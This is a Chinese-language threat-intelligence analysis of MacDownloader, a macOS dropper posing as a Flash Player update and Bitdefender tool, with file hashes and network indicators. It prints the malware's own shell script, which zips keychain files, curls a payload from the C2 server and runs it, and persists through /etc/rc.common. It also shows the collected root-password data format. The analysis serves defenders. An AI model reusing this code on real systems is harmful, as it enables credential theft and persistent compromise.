概述
近期,研究人员发现了一款针对美国国防工业的macOS恶意软件,该恶意软件名叫MacDownloader,有一位人权倡导者还公开表示他曾受到过MacDownloader的攻击。MacDownloader会伪装成AdobeFlash和Bitdefender Adware Removal Tool的安装程序,感染成功后会尝试提取目标系统信息以及OSX的keychain数据库。在对受感染的基础设施以及恶意代码进行了观察和分析之后,我们认为此次事件是这款恶意软件第一次真正试图感染目标设备,而且代码中类似“持久性感染”这样的功能也无法正常工作。
MacDownloader目前只是一款简单的数据提取工具,但它的野心肯定不仅于此。MacDownloader感染目标主机所使用的方法与ExtremDownloader的方法十分相似,而且研究人员在对恶意软件样本的代码进行了分析之后发现,这款恶意软件很可能与某个长期潜伏着的威胁组织有关。
虽然我们在美国的BlackHat黑客大会上曾对伊朗主导的网络战争进行过技术论述,而且相关论文【传送门】也正准备出版,但我们仍然会继续披露当前伊朗黑客的一些网络活动,并以此来积极推广网络安全教育,然后向安全厂商提供更多的IOC(入侵检测指标)。
虽然这款恶意软件不算复杂,功能也并不丰富,但它的突然出现肯定会给Mac用户带来不小的担忧。随着苹果电脑的用户数量越来越多,针对macOS的恶意软件数量很有可能也会随之上涨,macOS的安全性已经成为了一个未知数。
背景
自从“伊朗网络威胁论”被曝光之后,我们也检测到了各种各样出自伊朗黑客之手的恶意软件,这些恶意软件普遍针对的是Windows和Android设备,目的是为了从目标设备中提取文件或记录用户键盘数据。虽然Windows仍是目前世界上使用人数最多的操作系统,但很多用户出于安全性和稳定性的考虑,已经开始慢慢转移到macOS平台了。但实际上,macOS用户的安全性远远没有他们想象得那么高,而且他们的安全状况甚至比Windows用户的还要糟糕,专注伊朗问题的人权团体就是一个很好的例子。
事件及其影响
关于MacDownloader的一切起源于一个钓鱼网站,这个网站冒充的是美国联合技术公司(UTC)的官方网站,安全专家此前曾认定这个钓鱼网站是伊朗黑客专门用来传播Windows恶意软件的,而研究人员发现MacDownloader也与这个网站有关,这也是我们首次检测到MacDownloader。该钓鱼网站声称可以提供一些“特殊培训课程”,并专门提到了洛克希德马丁公司、内华达山脉公司、雷神公司和波音公司的实习生岗位。
托管该网站的主机在此之前还曾用其子域名托管过浏览器攻击框架BeEF,当时网站伪装成的是一个牙科网站和美国空军培训网站。
我们可以看到,钓鱼网站用法语提示了用户:该插件可能存在安全问题,并在警告文字的下方提供了一个可以激活AdobeFlash插件的链接。在我们所观察到的恶意软件中,MacDownloader也是第一个如此诚实的恶意软件。当用户上钩之后,远程服务器会根据检测到的目标系统信息来发送Windows或Mac端的恶意软件,其中Windows平台的dropper是采用Go语言编写的。MacDownloader样本的数据包名称“addone flashplayer.app”也进一步证明了它来自伊朗,因为根据语法来看,这个文件名应该是一个说波斯语的人设置的。
Macdownloader
根据恶意代码中嵌入的字符串信息来看,此次攻击中的恶意软件是一款针对macOS平台的dropper,即Macdownloader。对代码进行了分析之后,研究人员发现Macdownloader创建于2016年底,其代码不仅写得非常乱,而且很多代码是从其他地方复制过来的,所以我们认为Macdownloader应该出自一位业余开发者之手。
研究人员认为,MacDownloader当前的主要目的是为了对受感染系统进行初步分析并提取一些系统数据,例如macOS的Keychain凭证。
截止本文发稿时,VirusTotal的病毒扫描引擎还无法检测到Macdownloader,所以消费者安装的杀毒软件应该也无法检测到它。
在MacDownloader的感染过程中会显示一个伪造的AdobeFlash Palyer安装对话框,并提示用户点击“Update Flash-Player”按钮。有趣的是,当我们点击“Close”按钮之后,程序并不会退出。当用户点击更新按钮之后,会继续显示一个伪造的对话框,并告知用户已完成更新。
这样的对话框也让我们感到十分困惑,为什么MacDownloader宁愿伪装成一个FlashPlayer的更新包,也不愿伪装成一款杀毒软件呢?当我们对恶意程序的源文件进行了分析之后,我们得到了答案。在一个NIB文件中,我们发现了很多存在语法错误和拼写错误的对话框数据(看来开发者对MacDownloader的代码质量并不是很在意),我们由此推断MacDownloader一开始是打算伪装成一款病毒清理工具的,但可能是出于社工方面的考虑,开发人员最终将其重新打包成了一个伪造的FlashPlayer更新包。
我们发现,app资源文件夹中有一个名叫“checkadr.txt”的文件,其中包含有一条URL地址,恶意软件就是从这个地址下载的:
http://46.17.97[.]37/Servermac.php
该样本所使用的C2服务器在两周之前就被第三方拖下线了,另一个文件“eula-help.txt”中则提供了一个内部开发服务器的地址。由此看来,攻击者只打算将MacDownloader当作一个简单的dropper而已。
http://192.168.3.217/DroperTest
除此之外,在文件“appId.txt”中似乎有一个与该活动有关的恶意软件唯一标识符,恶意软件需要通过这个标识符来与C2主机通信,并将窃取到的信息发送过去。由此看来,攻击者曾尝试去实现目标主机的持久化访问,但目前还没成功。我们还发现了一段写得非常烂的shell脚本,这段代码可以将C2主机的响应信息保存下来,并通过它在/etc/rc.common文件中记录下的条目来标记目标主机。
从理论上来说,每当受感染主机启动时,该脚本都会自动从远程地址下载文件,并植入新版本的恶意软件。但在该主机下线之前我们曾尝试从服务器获取正确的响应信息,但我们并没有接收到后续的植入版本。在测试的过程中,这段代码似乎也没有被执行过。
do shell script "uname -a > /etc/checkdrive.chk"
zip -rj /etc/kcbackup.cfg /Library/Keychains/
echo "#!/bin/bash
curl -o /tmp/mastering-vim.pdf %@
md5 /tmp/mastering-vim.pdf | grep vim | cut -d- -f 2 >/etc/newf_md5.md5
if cmp /etc/newf_md5.md5 /etc/old_md5.md5
then
#echo equal
cp /etc/newf_md5.md5 /etc/oldf_md5.md5
chmod +x/tmp/mastering-vim.pdf
/tmp/mastering-vim.pdf
fi
" > /etc/.checkdev && if cat /etc/rc.common| grep .checkdev; then sleep 1; else echo "sleep %d &&/etc/.checkdev &" /etc/rc.common; fi && chmod +x/etc/.checkdev && /etc/.checkdev with administrator privileges
MacDownloader在收集完目标系统的信息(包括Keychain数据)之后,会将信息上传至C2服务器。恶意软件会通过一个伪造的系统设置对话框来要求用户输入用户名和密码,在拿到用户凭证之后,攻击者就可以访问存储在Keychain数据库中的加密密码了。所有收集到的信息会被记录在文件/tmp/applist.txt之中,上传成功之后该文件也不会被删除:
[
"OSversion:[UNAME OUTPUT]",
"Root Username:\"[USER]\"",
"Root Password:\"[PASSWORD]\"",
"Keychainsloaded in current user ",
"Local ipaddress: [IP ADDRESS]",
"Ifconfig:[IFCONFIG OUTPUT]",
[
[CONTENT OF/Applications]
],
[
....
"process nameis: Bitdefender Adware Removal Tool\t PID: 17550 Run from:file:\/\/\/Users\/user\/Desktop\/addone%20flashplayer.app\/Contents\/MacOS\/Bitdefender%20Adware%20Removal%20Tool"
]
]
当整个攻击过程执行完毕之后,MacDownloader会显示一个对话框,并提醒用户Flash Player已经更新完毕。当然了,从始至终这一切跟Flash Player的安装与更新没有任何的关系。这也是伊朗恶意软件典型的攻击模式,在获取到账号密码之后,攻击者会对目标用户的电子邮件、云端文件、以及社交网络活动进行永久备份。
源文件分析
在程序的Info.plist中我们可以获取到一些有用的元数据,其中“Bundle identifier”的属性为“zenderod.Bitdefender-Adware-Removal-Tool”,一般来说第一个字符串就是开发者所在组织的名称,即“zenderod”。Zenderod很明显表示的是Zayandeh Rood,这是一条流经伊朗伊斯法罕的著名河流。有趣的是,它似乎也与伊朗网络公司Novin Pardaz Zenderod的域名非常相似,其域名之前为zenderod.ir,现在是npzr.ir。但是该网站并没有提到任何关于macOS软件开发的内容,我们也尝试联系了Novin Pardaz Zenderod公司的一位管理人员,但他表示他们公司不开发macOS软件,而且也与这款恶意软件没有任何关系。
除此之外,“Readable Copyright”属性中设置的版权信息为“Copyright© 2015 Mamedof. All rights reserved.”,这个过期的版权声明似乎也暗示着这段信息应该是开发者直接从其他项目复制过来的。
在源代码中,我们发现了一些可能代表MacDownloader开发者姓名的字符串,这些字符串暗示着MacDownloader的开发者名字可能是Shayan:
/Users/
Desktop/MacDownloader/MyApp3/Users/shayan/Library/Developer/Xcode/DerivedData/Adware_Removal_Tool-frnnuqjzajnllqgzakkslsovdhag/Build/Intermediates/AdwareRemoval Tool.build/Debug/Adware RemovalTool.build/Objects-normal/x86_64/AppDelegate.o
在测试过程中,我们的一台MacBookPro被成功感染了。我们发现,恶意软件会将包括Keychain数据在内的系统信息上传至C2服务器,使用的用户名为“Ultrone”,密码为“saeed”。虽然有价值的信息很少,但攻击者仍然可以从Keychain数据中的VPN凭证和WiFi记录来了解到目标用户的一些社交关系情况。
入侵检测指标(IOC)
文件哈希
addone flashplayer.app.zip:
52efcfe30f96a85c9c068880c20663db64f0e08346e0f3b59c2e5bbcb41ba73c
Bitdefender Adware Removal Tool:
7a9cdb9d608b88bd7afce001cb285c2bb2ae76f5027977e8635aa04bd064ffb7
网络地址
46.17.97[.]37
officialswebsites[.]info
utc.officialswebsites[.]info
* 参考来源:iranthreats, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM0day
文章评论